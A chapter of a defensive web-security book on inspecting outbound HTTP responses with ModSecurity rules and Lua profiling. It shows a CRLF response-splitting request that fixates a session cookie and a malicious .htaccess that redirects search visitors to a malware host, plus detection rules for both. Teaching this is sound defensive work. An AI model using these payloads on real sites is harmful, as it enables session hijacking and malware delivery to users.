Chapter 6

Response Data Analysis

Though the enemy be stronger in numbers, we may prevent him from fighting. Scheme so as to discover his plans and the likelihood of their success.

Sun Tzu in The Art of War

Web application security products, processes, and tools are too focused on inbound data. They center all of their analysis on inbound HTTP request data and essentially ignore the outbound HTTP response. The rationale for this strategy lies in the ignorant belief that if you can identify and block all inbound attacks, you don’t need to worry about problems with the outbound response. This is a foolhardy paradigm because it is simply not possible to prevent all possible attack methods that may impact your web applications. One relevant example is that some attack vectors do not even use HTTP as the inbound attack transport.

For example, consider the scenario in which end-user computers become infected with malware that monitors for FTP login credentials. It then sends these credentials to criminals who log in to the user’s accounts and upload other malware or deface pages on the user’s web site. In this case, the attack channel is FTP but the outcome or impact of these attacks results in changes to the outbound HTTP response data. Unless you analyze the outbound response data, you may miss indications that attacks have been successful. The recipes in this chapter provide you with a wide range of detection points for monitoring your outbound traffic for signs of potential compromise and misconfigurations.


Recipe 6-1: Detecting Response Header Anomalies
This recipe shows you how to identify anomalous response header content.
Ingredients
  • ModSecurity
    • RESPONSE_STATUS variable
    • REQUEST_COOKIES variable
    • REQUEST_COOKIES_NAMES variable
    • REQUEST_FILENAME variable
    • ARGS_NAMES variable
    • ARGS variable
    • XML variable
    • SecRule directive
    • SecAction directive
  • Lua API
    • appsensor_response_profile.lua
    • appsensor_response_enforce.lua
Much in the same way that we analyzed inbound request headers for anomalies in Chapter 5, we can review the outbound response headers. We want to focus on three main areas:
  • HTTP status codes
  • HTTP response splitting attacks
  • Malware redirection attacks
HTTP Status Codes
HTTP status codes offer the client a general status for the transaction. There are five different code levels, with many subcategories:
  • 100: Informational
    • 100 Continue
    • 101 Switching Protocols
  • 200: Success
    • 200 OK
    • 201 Created
    • 202 Accepted
    • 203 Non-Authoritative Information
    • 204 No Content
    • 205 Reset Content
    • 206 Partial Content
  • 300: Redirection
    • 300 Multiple Choices
    • 301 Moved Permanently
    • 302 Found
    • 303 See Other
    • 304 Not Modified
    • 305 Use Proxy
    • 306 (Unused)
    • 307 Temporary Redirect
  • 400: Client errors
    • 400 Bad Request
    • 401 Unauthorized
    • 402 Payment Required
    • 403 Forbidden
    • 404 Not Found
    • 405 Method Not Allowed
    • 406 Not Acceptable
    • 407 Proxy Authentication Required
    • 408 Request Timeout
    • 409 Conflict
    • 410 Gone
    • 411 Length Required
    • 412 Precondition Failed
    • 413 Request Entity Too Large
    • 414 Request-URI Too Long
    • 415 Unsupported Media Type
    • 416 Request Range Not Satisfiable
    • 417 Expectation Failed
  • 500: Server errors
    • 500 Internal Server Error
    • 501 Not Implemented
    • 502 Bad Gateway
    • 503 Service Unavailable
    • 504 Gateway Timeout
    • 505 HTTP Version Not Supported
Here is a typical response that shows a status code of 200 OK, meaning that the transaction completed normally:
HTTP/1.1 200 OK
Date: Tue, 01 May 2012 15:58:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 8729
Conversely, here is a set of error response headers when the application has generated an error:
HTTP/1.1 500 Internal Server Error
Connection: close
Date: Tue, 01 May 2012 15:59:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
From a security perspective, we want to be alerted if any status codes are generated by the protected web application in the 400 or 500 range, because they indicate a problem or failure. These types of status codes often are generated during initial reconnaissance and attack attempts.
The following ModSecurity rule is from the OWASP ModSecurity Core Rule Set. You can use it to determine if an application generates a 500-level status code:
# The application is not available
SecRule RESPONSE_STATUS "^5d{2}$" "phase:4,rev:'2.2.3',t:none,
capture,ctl:auditLogParts=+E,block,msg:'The application is not
available',id:'970901',tag:'WASCTC/WASC-13',tag:'OWASP_TOP_10/A6',
tag:'PCI/6.5.6',severity:'3',setvar:'tx.msg=%{rule.msg}',
setvar:tx.outbound_anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-AVAILABILITY/APP_NOT_AVAIL-%{matched_var_name}
=%{tx.0}"
This rule would generate the following debug log data if it received the sample 500-level response:
Recipe: Invoking rule 10406f010; [file "/usr/local/apache/conf/crs/
base_rules/modsecurity_crs_50_outbound.conf"] [line "53"] 
[id "970901"] [rev "2.2.5"].
Rule 10406f010: SecRule "RESPONSE_STATUS" "@rx ^5\d{2}$" "phase:4,
log,rev:2.2.5,t:none,capture,ctl:auditLogParts=+E,block,msg:'The 
application is not available',id:970901,tag:WASCTC/WASC-13,
tag:OWASP_TOP_10/A6,tag:PCI/6.5.6,severity:3,
setvar:tx.msg=%{rule.msg},
setvar:tx.outbound_anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.%{rule.id}-AVAILABILITY/APP_NOT_AVAIL-%{matched_var_name}
=%{tx.0}"
Transformation completed in 1 usec.
Executing operator "rx" with param "^5\d{2}$" against 
RESPONSE_STATUS.
Target value: "500"
Added regex subexpression to TX.0: 500
Operator completed in 18 usec.
Ctl: Set auditLogParts to ABIJDEFHEEE.
Setting variable: tx.msg=%{rule.msg}
Resolved macro %{rule.msg} to: The application is not available
Set variable "tx.msg" to "The application is not available".
Setting variable: tx.outbound_anomaly_score=
+%{tx.error_anomaly_score}
Recorded original collection variable: tx.outbound_anomaly_score = 
"0"
Resolved macro %{tx.error_anomaly_score} to: 4
Relative change: outbound_anomaly_score=0+4
Set variable "tx.outbound_anomaly_score" to "4".
Setting variable: tx.anomaly_score=+%{tx.error_anomaly_score}
Original collection variable: tx.anomaly_score = "38"
Resolved macro %{tx.error_anomaly_score} to: 4
Relative change: anomaly_score=38+4
Set variable "tx.anomaly_score" to "42".
Setting variable: tx.%{rule.id}-AVAILABILITY/APP_NOT_AVAIL-%
{matched_var_name}=%{tx.0}
Resolved macro %{rule.id} to: 970901
Resolved macro %{matched_var_name} to: RESPONSE_STATUS
Resolved macro %{tx.0} to: 500
Set variable "tx.970901-AVAILABILITY/APP_NOT_AVAIL-RESPONSE_STATUS"
 To "500".
Warning. Pattern match "^5\d{2}$" at RESPONSE_STATUS. [file "/usr/
local/apache/conf/crs/base_rules/modsecurity_crs_50_outbound.conf"]
 [line "53"] [id "970901"] [rev "2.2.5"] [msg "The application is 
not available"] [severity "ERROR"] [tag "WASCTC/WASC-13"] 
[tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.6"]
HTTP Response Splitting Attacks
HTTP response splitting is an attack that aims to manipulate the returned response content sent to the client by injecting carriage return (%0d) and linefeed (%0a) characters to trick clients or intermediary proxy servers into falsely interpreting the data. Let’s look at a practical attack example. Here is a request for a resource that passes a parameter called lang:
GET /bank/customize.aspx?lang=english HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)
 Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Referer: http://demo.testfire.net/bank/customize.aspx
Cookie: ASP.NET_SessionId=wkvhri454fdmgtupa024jbbp; amSessionId=
105850184138; amUserInfo=UserName=JyBvciAnMSc9JzEnOy0t&
Password=YQ==; amUserId=1
Cache-Control: max-age=0
The lang parameter data is then echoed to the client within a new Set-Cookie response header:
HTTP/1.1 200 OK
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 5765
Set-Cookie: lang=english; path=/
Any client data that is directly propagated to HTTP response headers is a potential attack vector for response splitting. For example, consider this inbound request:
GET /bank/customize.aspx?lang=english;%20path=
/%0d%0aSet-Cookie:%20amSessionId=105850184125 HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)
 Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Cookie: ASP.NET_SessionId=wkvhri454fdmgtupa024jbbp;
 amSessionId=105850184138;
 amUserInfo=UserName=JyBvciAnMSc9JzEnOy0t&Password=YQ==; amUserId=1;
 lang=english
Notice that the new bold entry in the lang parameter field specifies that a new Set-Cookie response header should be issued for the amSessionId cookie. Also notice that the cookie value is different from the current amSessionId cookie value existing in the Cookie request header. Now let’s look at the response headers:
HTTP/1.1 200 OK
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 5660
Set-Cookie: lang=english; path=/
Set-Cookie: amSessionId=105850184125; path=/
As you can see, the new Set-Cookie data has been properly formatted to trick the client web browser into thinking that this is a legitimate cookie value. The result is that the browser overwrites the valid cookie data with this new value. On a subsequent request, the new cookie value is used:
GET /default.aspx?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)
 Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Referer: http://demo.testfire.net/bank/login.aspx
Cookie: ASP.NET_SessionId=wkvhri454fdmgtupa024jbbp;
 amSessionId=105850184125; lang=english
This particular HTTP response splitting attack has achieved the end goal of session fixation, where an attacker takes a known cookie value and forces an authenticated user to use it.
To prevent HTTP response splitting, we need to ensure that clients are unable to inject data that contains typical response header names and values. Here is a rule taken from the OWASP ModSecurity Core Rule Set that achieves this goal.
#
# HTTP Response Splitting
#
# -=[ Rule Logic ]=-
# These rules look for Carriage Return (CR) %0d and Linefeed (LF) 
# %0a characters.
# These characters may cause problems if the data is returned
# in a response header and may be interpreted by an intermediary 
# proxy server and treated as two separate responses.
#
# -=[ References ]=-
# http://projects.webappsec.org/HTTP-Response-Splitting
#
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|
ARGS_NAMES|ARGS|XML:/* 
"[

](?:content-(type|length)|set-cookie|location):" 
        "phase:2,rev:'2.2.5',t:none,t:lowercase,capture,
ctl:auditLogParts=+E,block,msg:'HTTP Response Splitting Attack',
id:'950910',logdata:'%{TX.0}',severity:'2',
setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.response_splitting_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/RESPONSE_SPLITTING-
%{matched_var_name}=%{tx.0}"
This rule inspects various inbound request data points and issues an alert if it finds payloads trying to inject the following HTTP response headers:
  • Content-Length
  • Content-Type
  • Set-Cookie
  • Location
The following alert would be generated if the previous Set-Cookie attack were sent to our site:
Message: Warning. Pattern match "[\n\r](?:content-(type|length)|
set-cookie|location):" at ARGS:lang. [file "/usr/local/apache/conf/
crs/base_rules/modsecurity_crs_40_generic_attacks.conf"] 
[line "122"] [id "950910"] [rev "2.2.5"] [msg "HTTP Response 
Splitting Attack"] [data "x0aset-cookie:"] [severity "CRITICAL"]
Malware Redirection Attacks
A fast-rising threat for web site owners is the planting of malware links. In these attack scenarios, the criminals target not sensitive customer data, but rather your large user base of clients. They use your web application as a distribution platform to infect your users with a wide variety of malicious code, including botnet clients, keystroke loggers, and banking Trojans.
Attackers use myriad methods to force users to access these remote malicious resources, but the one we will discuss here is carried out by creating new Apache .htaccess files. .htaccess files allow distributed management of web server functionality and are often used in web hosting environments. Although the intention of the .htaccess file is legitimate, unfortunately attackers can abuse it to selectively redirect your users to a malware distribution site. Here is an example of a malicious .htaccess file:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|
google|mail|bing|yahoo).*$ [NC]
RewriteRule .* http://enormousw1illa.com/nl-in.php?nnn=556 [R,L]
This file enables the mod_rewrite module in Apache and then inspects the Referer request header data. If the client is coming from a link on a number of popular search engine sites, the web server responds with an HTTP 300-level redirection response, which sends the user’s browser to the malware distribution site.
GET / HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0)
 Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://www.google.com/search?q=banking&ie=utf-8&oe=utf-8&
aq=t&rls=org.mozilla:en-US:official&client=firefox-a
Connection: keep-alive
 
HTTP/1.1 302 Found
Date: Tue, 01 May 2012 19:41:27 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.8r DAV/2
Location: http://enormousw1illa.com/nl-in.php?nnn=556
Content-Length: 227
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://enormousw1illa.com/
nl-in.php?nnn=556">here</a>.</p>
</body></html>
To identify these types of HTTP response code anomalies, we can use the ModSecurity Lua API to profile the normal response status codes for each resource and save that data in a persistent collection. The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_40_appsensor_2.1_response_exception.conf, which includes the following rules that profile response data:
#
# --[ Begin Profiling Phase ]--
#
SecMarker BEGIN_RES_PROFILE_ANALYSIS
SecRule RESPONSE_STATUS "^404$" "phase:5,id:'981099',t:none,nolog,
pass,setvar:!resource.KEY,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule RESPONSE_STATUS "^(5|4)" "phase:5,id:'981100',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule TX:ANOMALY_SCORE "!@eq 0" "phase:5,id:'981101',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule &RESOURCE:ENFORCE_RES_PROFILE "@eq 1" "phase:2,id:'981102',
t:none,nolog,pass,skipAfter:END_RES_PROFILE_ANALYSIS"
 
SecAction "id:999304',phase:5,nolog,pass,exec:/etc/apache2/
modsecurity-crs/lua/appsensor_response_profile.lua"
 
SecMarker END_RES_PROFILE_ANALYSIS
The bold SecAction line executes the appsensor_response_profile.lua script, which tracks the returned HTTP status codes for each resource. The ModSecurity debug log shows the following data when the profiling threshold is complete:
Wrote variable: name "__expire_KEY", value "1335886237".
Wrote variable: name "KEY", value "www.site.com_/".
Wrote variable: name "TIMEOUT", value "3600".
Wrote variable: name "__key", value "www.site.com_/".
Wrote variable: name "__name", value "resource".
Wrote variable: name "CREATE_TIME", value "1335882275".
Wrote variable: name "UPDATE_COUNTER", value "110".
Wrote variable: name "min_pattern_threshold", value "50".
Wrote variable: name "min_traffic_threshold", value "100".
Wrote variable: name "traffic_counter", value "110".
Wrote variable: name "LAST_UPDATE_TIME", value "1335882637".
Wrote variable: name "enforce_response_code", value "200".
Wrote variable: name "enforce_response_profile", value "1".
Persisted collection (name "resource", key "www.site.com_/").
Recording persistent data took 0 microseconds.
This data shows that the resource / should return a status code of 200 OK. If some type of application error causes a different response code, this profile would catch it. This profiling would catch our Apache .htaccess file malware redirection attack scenario too. Here are the enforcement rules for the response status code:
SecRule &RESOURCE:ENFORCE_RESPONSE_PROFILE "@eq 0" "phase:3,
id:'999301',t:none,nolog,pass,skipAfter:END_RES_PROFILE_ENFORCEMENT"
SecRule &RESOURCE:ENFORCE_RESPONSE_PROFILE "@eq 1" "phase:3,
id:'999302',t:none,nolog,pass,exec:/etc/apache2/modsecurity-crs/lua/
appsensor_response_enforce.lua"
 
SecRule TX:RESPONSE_CODE_VIOLATION "@eq 1" "phase:4,id:'999303',
t:none,block,capture,msg:'Invalid Response Code for Resource.',
logdata:'Current Response Code: %{response_status} and Allowed 
Response Code(s): %{resource.enforce_response_code}',
setvar:'tx.msg=%{rule.msg}',
setvar:tx.anomaly_score=+%{tx.error_anomaly_score},
setvar:tx.profiler_score=+%{tx.error_anomaly_score},
tag:'POLICY/STATUS_CODE'"
Here is the ModSecurity debug log processing when it identifies the malware 302 redirection response:
Rule b978e210: SecRule "&RESOURCE:ENFORCE_RESPONSE_PROFILE" "@eq 1"
 "phase:3,id:999302,t:none,nolog,pass,exec:/etc/apache2/
modsecurity-crs/lua/appsensor_response_enforce.lua"
Transformation completed in 1 usec.
Executing operator "eq" with param "1" against
 &RESOURCE:ENFORCE_RESPONSE_PROFILE.
Target value: "1"
Operator completed in 1 usec.
Lua: Executing script: /etc/apache2/modsecurity-crs/lua/
appsensor_response_enforce.lua
Response Code: 302 profile violation.
Setting variable: TX.response_code_violation=1
Set variable "TX.response_code_violation" to "1".
Ending Response Profile Enforcer Script
Lua: Script completed in 295 usec, returning: (null).
Warning. Operator EQ matched 1 at RESOURCE. [file "/etc/apache2/
modsecurity-crs/base_rules/modsecurity_crs_40_appsensor_detection_
point_2.1_response_exception.conf"] [line "30"] [id "999302"]
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule b978ee80; [file "/etc/apache2/modsecurity-crs/
base_rules/modsecurity_crs_40_appsensor_detection_point_2.1_response
_exception.conf"] [line "37"] [id "999303"].
Rule b978ee80: SecRule "TX:RESPONSE_CODE_VIOLATION" "@eq 1"
 "phase:3,log,id:999303,t:none,block,capture,msg:'Invalid Response 
Code for Resource.',logdata:'Current Response Code: 
%{response_status} and Allowed Response Code(s):
 %{resource.enforce_response_code}',
setvar:tx.msg=%{rule.msg},setvar:tx.anomaly_score=+%
{tx.error_anomaly_score},setvar:tx.profiler_score=+%
{tx.error_anomaly_score},tag:POLICY/STATUS_CODE"
Transformation completed in 1 usec.
Executing operator "eq" with param "1" against 
TX:response_code_violation.
Target value: "1"
Operator completed in 2 usec.
Setting variable: tx.msg=%{rule.msg}
Resolved macro %{rule.msg} to: Invalid Response Code for Resource.
Set variable "tx.msg" to "Invalid Response Code for Resource.".
Setting variable: tx.anomaly_score=+%{tx.error_anomaly_score}
Recorded original collection variable: tx.anomaly_score = "0"
Resolved macro %{tx.error_anomaly_score} to: 4
Relative change: anomaly_score=0+4
Set variable "tx.anomaly_score" to "4".
Setting variable: tx.profiler_score=+%{tx.error_anomaly_score}
Recorded original collection variable: tx.profiler_score = "0"
Resolved macro %{tx.error_anomaly_score} to: 4
Relative change: profiler_score=0+4
Set variable "tx.profiler_score" to "4".
Resolved macro %{response_status} to: 302
Resolved macro %{resource.enforce_response_code} to: 200
Warning. Operator EQ matched 1 at TX:response_code_violation. 
[file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_40
_appsensor_detection_point_2.1_response_exception.conf"] [line "37"]
 [id "999303"] [msg "Invalid Response Code for Resource."] [data 
"Current Response Code: 302 and Allowed Response Code(s): 200"] 
[tag "POLICY/STATUS_CODE"]


Recipe 6-2: Detecting Response Header Information Leakages

This recipe shows you how to find and remove sensitive technical data exposed in response headers.

Ingredients
  • Apache
    • ServerTokens directive
    • Header directive
  • ModSecurity
    • SecServerSignature directive
Much like we can analyze inbound request header data to identify probable client software being used to interact with our application, attackers can inspect response header data to glean valuable intelligence. Web applications often leak technical details about our web application software versions and configurations. Let’s take another look at the response header data from the previous recipe:
HTTP/1.1 200 OK
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 5765
The bold response header data shows that the web application is running Microsoft’s ASP.NET software (X-Powered-By) and the specific version information (X-AspNet-Version). The fact that the web application is running ASP.NET might not be that sensitive, because it would be easy to conclude this simply by looking for file extensions such as .asp or .aspx. However, the detailed version information is potentially troubling. Providing this level of detail to an attacker allows him to more quickly identify likely exploits to attempt. Let’s look at another response:
HTTP/1.1 200 OK
Date: Wed, 02 May 2012 17:01:22 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 
with Suhosin-Patch mod_python/3.3.1 Python/2.6.5 mod_perl/2.0.4 
Perl/v5.10.1X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: d5a4bd280a324d2ac98eb2c0fe58b9e0=9rmjgjiiid2h7mme63ghhh4
gb3; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Wed, 02 May 2012 17:01:25 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
 pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 8449
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
The bold portions of the data show that this Apache web server is leaking sensitive technical data in both the Server banner and the X-Powered-By headers. Again, it is unwise to provide this level of detail to an untrusted client, because this may facilitate the development of an exploit.
Altering Server Banner Data
ModSecurity has a global directive called SecServerSignature that allows you to modify the Server response header token data to anything you want. ModSecurity achieves this data spoofing by overwriting the memory space held by Apache. To ensure that our new data has enough room to be injected, you need to configure Apache’s ServerTokens directive to Full. Here is a sample configuration:
ServerTokens Full
SecServerSignature "Microsoft-IIS/7.0"
With this configuration, we are pretending to be a Microsoft IIS web server. Although a real, human attacker would eventually be able to figure out that we are lying by using web server fingerprinting techniques, unsophisticated exploit programs often send their malicious payloads only if the web server software is the correct version.
Let’s see how the new Server response header data appears with these new configurations:
HTTP/1.1 200 OK
Date: Wed, 02 May 2012 17:27:57 GMT
Server: Microsoft-IIS/7.0
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: d5a4bd280a324d2ac98eb2c0fe58b9e0=deleted; expires=Tue, 
03-May-2011 17:27:56 GMT; path=/
Set-Cookie: d5a4bd280a324d2ac98eb2c0fe58b9e0=bce299487a2390a50a0d04f
05230ce72; path=/
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Wed, 02 May 2012 17:27:57 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 8449
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
The bold line shows that the Server token data now lists Microsoft-IIS/7.0.
Removing Sensitive Response Headers
The method for removing other response headers that may hold sensitive technical details is rather easy. The Apache mod_headers module can be used to dynamically add, edit, or remove any response header field. For our purposes, we simply add the following entries to our Apache configuration:
Header unset X-Powered-By
Header unset X-AspNet-Version
The response header data is inspected. If any of these headers are present, they are removed on the fly. Here is how the new response headers look:
HTTP/1.1 200 OK
Date: Wed, 02 May 2012 17:53:11 GMT
Server: Microsoft-IIS/7.0 mod_perl/2.0.4 Perl/v5.10.1
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Wed, 02 May 2012 17:53:12 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 5487
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
As you can see, the X-Powered-By header has been removed.

Caution
Security through Obscurity versus Security with Obscurity
If you are interested in using this type of technical data obfuscation, it is critical that you fully understand both its true value and its priority within security hardening tasks. At the end of the day, a determined attacker will eventually be able to enumerate the basic information about the web platform and technologies in use. There are just too many outputs that will leak telltale signs of the applications in use. Complete application cloaking, however, is not the end goal. The end goal rather is to make the process of accurately fingerprinting this information take significantly longer. By forcing attackers to spend more time within the reconnaissance phase of the attack life cycle, we are afforded more opportunities to identify their behavior and respond.
An additional point to consider is that by removing or altering this data, automated exploit programs may in fact not launch their payloads when the target application does match hard-coded application version banners. If by simply changing the web server’s response banner information you can trick an attacker tool into passing your web server by, it is worth the effort.
The final point to make is the priority of this type of defensive configuration. There are many other more critical steps to take in locking down your web application and getting ready for battle. Just review Part I of this book for instance. While that is the case, this does not mean that you should not implement this type of defense at all. You absolutely should do this type of obfuscation, once you have addressed the other protections first.
Security through Obscurity is a recipe for disaster. Security with Obscurity, however, may just buy you enough time to thwart an attack.

Response Data Acquisition
Similar to inspecting the inbound request data, we must first ensure that we can properly access outbound response body data. The recipes in this section outline key points to consider for data acquisition.


Recipe 6-3: Response Body Access
This recipe shows you how to configure ModSecurity to gain access to response body content.
Ingredients
  • ModSecurity
    • SecResponseBodyAccess directive
    • SecResponseBodyMimeType directive
    • SecResponseBodyLimit directive
    • SecResponseBodyLimitAction directive
Basic Directives
By default, ModSecurity does not access, process, or analyze response body content. This poses serious issues with false negatives, because you would have no visibility into what type of data is leaving your web application. To gain insight into response bodies, you must configure a few ModSecurity directives. Here is a sample listing:
# -- Response body handling ----------------------------------------
 
# Allow ModSecurity to access response bodies.
# You should have this directive enabled in order to identify errors
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increase both
# memory consumption and response latency.
#
SecResponseBodyAccess On
 
# Which response MIME types do you want to inspect? You should 
# adjust the configuration below to catch documents but avoid static
# files (e.g., images and archives).
#
SecResponseBodyMimeType (null) text/plain text/html text/xml
 
# Buffer response bodies of up to 512 KB in length.
SecResponseBodyLimit 524288
 
# What happens when we encounter a response body larger than the
# configured limit? By default, we process what we have and let the 
# rest through. That's somewhat less secure, but does not break any 
# legitimate pages.
#
SecResponseBodyLimitAction ProcessPartial
Let’s take a quick look at each of the directives and their meanings.
  • SecResponseBodyAccess, when set to On, instructs ModSecurity to buffer the response body content and populate the RESPONSE_BODY variable.
  • SecResponseBodyMimeType specifies the response body Content-Types that you want to access and inspect.
  • SecResponseBodyLimit sets a threshold on the maximum size of data that will be allowed for response bodies.
  • SecResponseBodyLimitAction allows the user to specify what action to take when a response body is larger than the thresholds. You may choose either Reject or ProcessPartial. The former blocks the response body from being sent to the client and the latter allows the response to proceed. However, only the response body data up to the threshold limit is inspected. This is not ideal from a security perspective, but it does help prevent unexpected blocks during initial deployment of security settings.

Caution
Be careful when choosing to inspect outbound response body content. The first issue to be aware of is that this inspection incurs the largest amount of latency for the web transaction. This is due to the large amount of data present in HTTP responses compared to the relatively smaller request data. You should attempt to limit and optimize response body inspection as much as possible.
The second issue to consider is MIME types. The types of inspection that may be applied work best when you’re dealing with text-based content. If you choose to inspect binary file formats, you will almost certainly run into both false positives and false negatives.


Recipe 6-4: Detecting Page Title Changes
This recipe demonstrates how to monitor for web page title changes.
Ingredients
  • ModSecurity
    • Lua API
      • appsensor_response_profile.lua
      • appsensor_response_enforce.lua
By monitoring the HTML <title> tag data in web response pages, you can detect when attackers have successfully defaced a page by overwriting the legitimate page with an unauthorized version. For instance, let’s look at the raw HTML from the top of a typical Joomla login page:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" 
lang="en-gb" >
<head>
  <meta http-equiv="content-type" content="text/html; 
charset=utf-8" />
  <meta name="robots" content="index, follow" />
  <meta name="keywords" content="joomla, Joomla" />
  <meta name="description" content="Joomla! - the dynamic portal 
engine and content management system" />
  <meta name="generator" content="Joomla! 1.5 - Open Source Content 
Management" />
  <title>Login</title>
  <link href="/joomla/templates/rhuk_milkyway/favicon.ico" 
rel="shortcut icon" type="image/x-icon" />
The piece of data we are focusing on for this recipe is the bold <title> tag data, which shows that the title of this page is simply “Login.” Now, imagine that your Joomla login page somehow becomes defaced and is replaced with a new page, as shown in Figure 6-1.
The raw HTML for the beginning of this page looks like this:
<html dir="rtl">
 
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; 
charset=windows-1252">
<title>[#] Hacked By DR.WaHaM~Q8&nbsp; [#]&nbsp;&nbsp;&nbsp;&nbsp; 
</title>
<meta name="keywords" content="[#] Hacked By DR.WaHaM~Q8  [#]       
">
<meta name="description" content="[#] Hacked By DR.WaHaM~Q8  [#]    
   ">

Figure 6-1: A defaced web page

c06f001.tif
To identify these types of attacks, we can use the ModSecurity Lua API to profile the normal page title tag data for each resource and save that data in a persistent collection. The OWASP ModSecurity Core Rule Set includes a file called modsecurity_crs_40_appsensor_2.1_response_exception.conf, which includes the following rules that profile response data:
#
# --[ Begin Profiling Phase ]--
#
SecMarker BEGIN_RES_PROFILE_ANALYSIS
SecRule RESPONSE_STATUS "^404$" "phase:5,id:'981099',t:none,nolog,
pass,setvar:!resource.KEY,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule RESPONSE_STATUS "^(5|4)" "phase:5,id:'981100',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule TX:ANOMALY_SCORE "!@eq 0" "phase:5,id:'981101',t:none,nolog,
pass,skipAfter:END_RES_PROFILE_ANALYSIS"
SecRule &RESOURCE:ENFORCE_RES_PROFILE "@eq 1" "phase:2,id:'981102',
t:none,nolog,pass,skipAfter:END_RES_PROFILE_ANALYSIS"
 
SecAction "id:999304',phase:5,nolog,pass,exec:/etc/apache2/
modsecurity-crs/lua/appsensor_response_profile.lua"
 
SecMarker END_RES_PROFILE_ANALYSIS
The bold SecAction line executes the appsensor_response_profile.lua script, which tracks the returned HTTP status codes for each resource. The ModSecurity debug log shows the following data when the profiling threshold is complete:
